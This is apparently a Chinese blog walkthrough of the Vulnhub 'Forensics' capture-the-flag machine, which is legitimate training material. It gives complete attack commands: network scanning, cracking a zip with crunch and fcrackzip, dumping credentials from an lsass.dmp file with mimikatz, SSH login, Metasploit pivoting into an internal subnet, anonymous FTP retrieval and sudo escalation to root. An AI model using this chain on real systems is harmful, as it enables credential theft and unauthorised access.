声明

好好学习，天天向上

搭建

vmware打开，网络和攻击机一样，桥接模式

渗透

存活扫描，发现目标

arp-scan -l

端口扫描

nmap -T4 -A 192.168.31.152 -p 1-65535 -oN nmap.A

开启端口

发现开启80，22，很简单的两个端口

访问80

http://192.168.31.152

点一下右上角的get flag，真骚气

网站上图片好多呀，邮件查看源代码，发现images目录，访问一下

把这些图片都下载下来，看看fingerprint这个指纹，使用file命令查看，发现flag

dirb扫描txt后缀，发现tips.txt

dirb http://192.168.31.152 -X .txt

http://192.168.31.152/tips.txt

发现两个路径

/flag.zip
/igolder

访问发现，一个zip，一个txt都下载下来

在线解密网址

https://youritmate.us/pgp/

滑到最下面粉红色处，输入message和私钥，使用私钥解密

Your encrypted message:填

Your private key:私钥填

点击解密后，message出变为明文，告诉我们密码是3位，前三位是for，后三位是数字

In case the forensic investigator forgets his password, this hint can help him, where the password is of 6 characters long , starting  3 characters is the word  "for" and the ending 3 characters are numeric

flag.zip是需要密码的，看来需要爆破出这个密码了

先生成字典

crunch 6 6 -t for%%% -o pass.dic
fcrackzip -u -D -p pass.dic flag.zip

拿到windows里面看看，解压出来的pdf里面发现flag

还有一个DMP文件，打开mimikatz，进入命令行输入

sekurlsa::minidump C:\Users\attack\Desktop\delete\lsass.dmp
sekurlsa::logonPasswords full

往下滑看到用户和密码

jasoos
raj
64fbae31cc352fc26af97cbdef151e03
c220d333379050d852f3e65b010a817712b8c176

在线解密

ssh登录

ssh jasoos@192.168.31.152
Password@1

登进去后，发现172开头的IP，该进行横向渗透了

主机存活&端口发现

nmap -sP 172.17.0.1/24
nmap -T4 -A 172.17.0.1 -p 1-65535 -oN nmap.A
nmap -T4 -A 172.17.0.2 -p 1-65535 -oN nmap.A

发现0.2开启了21ftp，进入之

ftp 172.17.0.2

不太好用，转用msf，内网渗透还是msf好使

use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.31.152
set username jasoos
set password Password@1
exploit
session -u 1
use post/multi/manage/autoroute
set session 2
exploit
session -u 2

使用ping去扫描存活主机（session设置成和上面那个一样）

use post/multi/gather/ping_sweep
set session 1
set rhosts 172.17.0.0/24
exploit

扫描端口发现ftp，扫描ftp发现匿名访问

use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.2
set port 1-100
exploit
use auxiliary/scanner/ftp/anonymous
set rhosts 172.17.0.2
exploit

使用刚刚的ssh，进入ftp查看文件：

ftp 172.17.0.2
anonymous
ls
cd pub
ls
get saboot.001

下载到了靶机本地，需要靶机开启http，然后才能下载到攻击机本地

python -m SimpleHTTPServer

访问

http://192.168.31.152:8000

拿到flag3

解密creds.txt里面的文件内容

amVlbmFsaWlzYWdvb2RnaXJs

base64解密后

jeenaliisagoodgirl

su到用户forensic

su forensic
jeenaliisagoodgirl

sudo -l具有root权限

sudo su root

拿到flag

总结

1.信息收集

发现80和22

80中源码包含敏感目录，查看敏感目录发现图片，查看图片属性拿到flag

dirb扫描txt后缀目录，发现敏感目录，里面后一个zip包和一个PGP的私钥+密文，在线PGP解密后，解压缩zip包发现flag以及DMP文件

2.web权限

无

3.shell权限

使用mimikatz打开DMP文件，发现用户+密码，解密密码后，ssh登录

通过横向渗透，发现另一台主机有ftp服务，匿名进入ftp服务，发现压缩包，下载到本地，解压后发现flag和密码密文，解密后su到这个用户

4.权限维持

无

5.提权

通过sudo直接su到root，拿到flag

Vulnhub靶机实战-Forensics相关推荐

全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】
靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日靶机描述:欢迎使用" IMF&qu ...
Vulnhub靶机实战——DC-8
靶机DC-8下载地址: https://download.vulnhub.com/dc/DC-8.zip 环境:VMware 15虚拟机软件 DC-8靶机IP地址:192.168.220.156 Ka ...
Vulnhub靶机实战——DC-5
靶机DC-5下载地址:https://download.vulnhub.com/dc/DC-5.zip 环境:VMware 15虚拟机软件 DC-5靶机IP地址:192.168.220.139 Kal ...
Vulnhub靶机实战——Matrix2
Matrix2靶机下载地址: https://download.vulnhub.com/matrix/matrix2-Unknowndevice64.ova 环境: VMware 15虚拟机软件 Ma ...
挑战全网最详细靶机教程——vulnhub靶机实战 lampiao【适合刚接触的新人学习】
靶机地址:https://www.vulnhub.com/entry/lampiao-1,249/ 靶机难度:中等工具:kalilinux: 一个灵活的脑子 : 一双手目标:得到root权限&am ...
挑战全网最详细靶机教程——vulnhub靶机实战vulnhub Tr0ll: 1【适合刚接触的新人学习】
靶机地址:https://www.vulnhub.com/entry/tr0ll-1,100/ 靶机难度:简单靶机发布日期:2014年8月14日靶机描述:Tr0ll的灵感来自OSCP实验室中不断摇 ...
Vulnhub靶机实战——Matrix3
下载地址: https://download.vulnhub.com/matrix/Machine_Matrix_v3.ova 环境: VMware 15虚拟机软件 Matrix3靶机IP地址:192 ...
Vulnhub靶机实战——DC-3
靶机DC-3下载地址:https : //download.vulnhub.com/dc/DC-3.zip 靶机DC-3VMware下载地址:https : //download.vulnhub.co ...
DC-5 vulnhub靶机实战
首先是使用virtualbox安装,这里不推荐vmware,会出很多问题. nmap扫一下子网,看靶机的ip地址: 发现ip是192.168.240.137,开放了80和111端口. 给了提示是个文件 ...

Vulnhub靶机实战-Forensics

声明

搭建

渗透

总结

Vulnhub靶机实战-Forensics相关推荐

最新文章

热门文章